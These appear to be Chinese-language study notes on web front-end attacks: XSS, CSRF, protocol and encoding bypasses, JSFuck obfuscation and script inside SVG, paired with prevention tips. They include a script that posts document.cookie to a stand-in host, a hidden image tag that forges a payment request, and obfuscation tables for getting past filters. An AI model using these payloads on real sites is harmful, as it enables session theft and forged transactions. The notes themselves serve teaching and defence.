常见的 web 前端攻击方式有哪些？

安全

XSS 跨站请求攻击（反射型，存储型，DOM型）
XSRF 跨站请求伪造

XSS 跨站请求攻击

比如：一个博客网站，我发表一篇博客，其中嵌入 <script />脚本，获取 cookie，发送到我的跨域服务器，当有人查看这篇文章，我可以获取访问者的 cookie

<p>模拟 XSS 跨站，获取 cookie</p>
<script> alert(document.cookie);$.post('test.com', {cookie: document.cookie}) </script>

XSS 预防（也可以使用 XSS 工具，如 https://www.npmjs.com/package/xss）

替换特殊字符，如 < 变成< > 变成`>`
<script> 变成 <script> ,这样不会作为脚本执行
建议前后端都替换

&lt;script&gt; alert(document.cookie);$.post('test.com', {cookie: document.cookie}) &lt;/script&gt;

CSRF/XSRF 跨站请求伪造

比如：你正在购物，看中了某个商品，商品 id 是 100，付款接口：xxx.com/pay?id=100，但没任何验证，攻击者想购买 id 为 200 的商品，通过发送邮件隐藏 <img src="xxx.com/pay?id=200" />，一旦查看邮件，就购买了 id 为 200 的商品

XSRF 预防（现在很少见了）

使用 post 接口
增加验证，例如密码，短信验证码，指纹等

其他

为协议：

Data 为协议：data:text/html;base64,PHNjcsdd=
JavaScript为协议：javascript:alert(1)

Unicode 编码及 URL 编码绕过：

JavaScript 编码：&#x，\u 都可以用来表示一串 Unicode 编码，如：\u0074 \u0065 \u0073 \u0074 或 &#x0074 &#x0065 &#x0073 &#x0074
HTML实体编码：&#116 &#101 &#115 &#116
URL编码：%74 %65 %73 %74

xss 蠕虫，比如： myspace蠕虫攻击

xss 编码混淆，利用浏览器解析编码的顺序 js <- url <- html，比如： jsFuck 使用 6 个字符 []()!+ 来编写

false       =>  ![]
true        =>  !![]
undefined   =>  [][[]]
NaN         =>  +[![]]
0           =>  +[]
1           =>  +!+[]
2           =>  !+[]+!+[]
10          =>  +[[+!+[]]+[+[]]]
Array       =>  []
Number      =>  +[]
String      =>  []+[]
Boolean     =>  ![]
Function    =>  []["filter"]
run         =>  []["filter"]["constructor"]( CODE )()
eval        =>  []["filter"]["constructor"]("return eval")()( CODE )
window      =>  []["filter"]["constructor"]("return this")()

SVG 文件中插入 JS 代码

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" version="1.1" xmlns="http://www.w3.org/2000/svg">
	<script>
		alert(11)
	</script>
</svg>